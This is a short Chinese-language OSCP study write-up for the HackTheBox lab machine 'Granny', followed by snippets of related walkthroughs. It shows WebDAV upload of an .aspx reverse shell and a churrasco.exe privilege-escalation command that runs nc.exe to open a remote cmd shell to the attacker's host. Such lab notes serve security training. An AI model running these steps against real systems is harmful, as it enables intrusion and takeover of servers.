OSCP备考_0x41_HackThBox靶机_Windows_granny

Ethan医生7个月前 (07-10)靶场233

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.252.188 (扫描TCP)

发现有webdav可以利用

davtest -url http://10.10.16.43 ----可以查看到哪些后缀可以进行上传

put reverse_shell.txt

move reverse_shell.txt reverse_shell.aspx

然后上传反弹SHELL挡案

然后提权systeminfo

C:\Inetpub\wwwroot\churrasco.exe -d "C:\Inetpub\wwwroot\nc.exe -nv 10.10.16.43 4445 -e cmd"

标签: OSCP

返回列表

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.252.243 (扫描TCP)nmap -sU --top-ports 100 10.129.25...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.253.131 (扫描TCP)查看到是Drupal 7.54ruby 44449.rb...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.216.125 (扫描TCP)nmap -sU --top-ports 100 ...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.107.34 (扫描TCP)nmap -sU --top-ports 100 ...

nmap -sCV -p- --min-rate 10000 -T4 -sS 10.129.254.155 (扫描TCP)查看到版本是2.3,有rcepython3 49125.p...

名称说明靶机下载链接https://www.vulnhub.com/entry/pwnlab-init,158/攻击机（kali）ip：192.168.233.168靶机（CentOS）ip：192....

EthanDoctor